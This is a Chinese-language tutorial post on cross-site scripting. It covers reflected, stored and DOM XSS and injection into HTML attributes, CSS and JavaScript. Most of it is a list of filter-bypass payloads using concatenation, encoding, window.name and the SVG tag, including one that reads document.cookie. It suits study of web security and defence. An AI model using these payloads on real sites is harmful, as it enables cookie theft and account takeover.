跨站脚本攻击

        跨站脚本攻击(XSS)可以使攻击者向网页中注入恶意代码,导致用户浏览器在加载网页、渲染HTML文档时就会执行攻击者的恶意代码。

常见XSS漏洞分类

·、反射型XSS

<?php
    echo 'your input:' . $_GET['input'];
?>

客户端输入的值没有经过任何过滤就输出,所以攻击者可以添加

?input=<script>alert(1)</script>

网页会弹框,内容为1。

2、存储型XSS

存储型XSS会存储在服务器端。

主要应用有留言板、在线聊天室、邮件服务等

提交留言?input=<script>alert(1)</script>后,用户访问页面就会弹窗

3、DOM型XSS

与反射型XSS和存储型XSS相比,DOM型XSS的XSS代码不需要服务端解析响应的直接参与。

常用Document对象属性

属性描述
cookie设置或返回与当前文档有关的所有Cookie
domain返回当前文档的域名
lastModified返回文档最后被修改的日期和时间
referrer返回载入当前文档的文档的URL
title返回当前文档的标题
URL返回当前文档的URL
write()

向文档写HTML表达式或JavaScript代码

document.write('<script>alert(1)</script>')

4、输出在HTML属性中

一般需要闭合相应的HTML属性后注入新属性,或者闭合标签后直接注入新标签

<input name="user" value="{{ your input }}"/>

" οnclick="alert(1)

"><script>alert(1)</script>

5、输出在CSS代码中

<style type="text/css">
body{
    color:{{ your input }};
}
</style>

#000; background-image: url('javascript:alert(1)')

n闭合前面的color属性,注入background-image属性

6、输出在JavaScript中

<script>
    var name={{ your input }}
</script>

'+alert(1)+'

闭合前面的单引号和后面的单引号

防护与绕过

1、特定标签过滤

过滤危险标签(script、iframe等)

<not_real_tag οnclick="alert(1)">click</not_real_tag>

这段代码被用户点击时也会执行XSS

如果输出点在HTML或JavaScript中,只需要简单的闭合、拼接属性或JavaScript代码而不需要引入任何新标签就可以执行XSS代码

2、事件过滤

HTML标签的事件属性会被过滤,需要遍历可利用的事件属性检测是否有遗漏

一些标签属性本身不属于事件属性,但可以执行JavaScript代码,比如JavaScript伪协议

<a href="javascript:alert(1)">click</a>

3、敏感关键字过滤

  • 字符串拼接与混淆

window['al'+'ert'](1)

btoa("alert")会将字符串编码为Base64返回YWxlcnQ=,atob会解码

所以可以使用

window[atob["YWx"+"lcnQ="]](1)

  • 编码解码

XSS漏洞中常用的编码方式

HTML进制编码:十进制、十六进制

CSS进制编码:兼容HTML中的进制表现形式,十进制、十六进制

JavaScript进制编码:八进制、十六进制、Unicode编码、ASCII

URL编码:%61

JSFuck编码

  • location.*、window.name

location.*、window.name等不会被浏览器提交至服务器,所以不会被过滤

也可以利用location对象结合字符串编码绕过基于关键字的过滤

<img src="1" οnerrοr=location="javascript:alert%281%29">

<img src="1" οnerrοr=location="javascr"+"ipt:al"+"ert%28docu"+"ment.co"+"okie%29">

  • 过滤“.”

document.cookie无法使用

可以使用with关键字设置变量的作用域

with(document)alert(cookie)

  • 过滤“()”

window.οnerrοr=alert; throw 1;

  • 过滤空格

标签属性之间可以使用换行符

0x09、0x10、0x12、0x13、0x0a等可以替代空格

标签名称和第一个属性之间也可以使用“/”代替空格

<input/oncus=alert(1)>

  • svg标签

svg内部的标签和语句遵循的规则是直接继承自xml而不是HTML

因此svg内部的script标签中可以允许存在一部分进制或编码后的字符

<svg><script>alert(1)</script></svg>

4、字符集编码绕过

宽字节

5、长度限制

window.name、location.*可以将代码放置在别处来减少输入点代码量

<ifram src="XXX?input=%3Cinput%20οnfοcus=$(window.name)%3E" name="<img src='x' οnerrοr=alert(1)>"></ifram>

注释

某些环境中可以使XSS分成多段用注释连接在一起

stage 1:<script>/*

stage 2:*/alert(1)/*

stage 3:*/</script>

危害与利用

XSS漏洞能实现的功能:

  • 窃取用户的Cookie信息,伪造用户身份
  • 与浏览器DOM对象进行交互,执行受害者所有可执行的操作
  • 获取网页源码
  • 发起HTTP请求
  • 获取地理位置信息
  • 使用WebRTC API获取网络信息
  • 发起HTTP请求对内网主机进行扫描,对存在漏洞的主机进行攻击

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值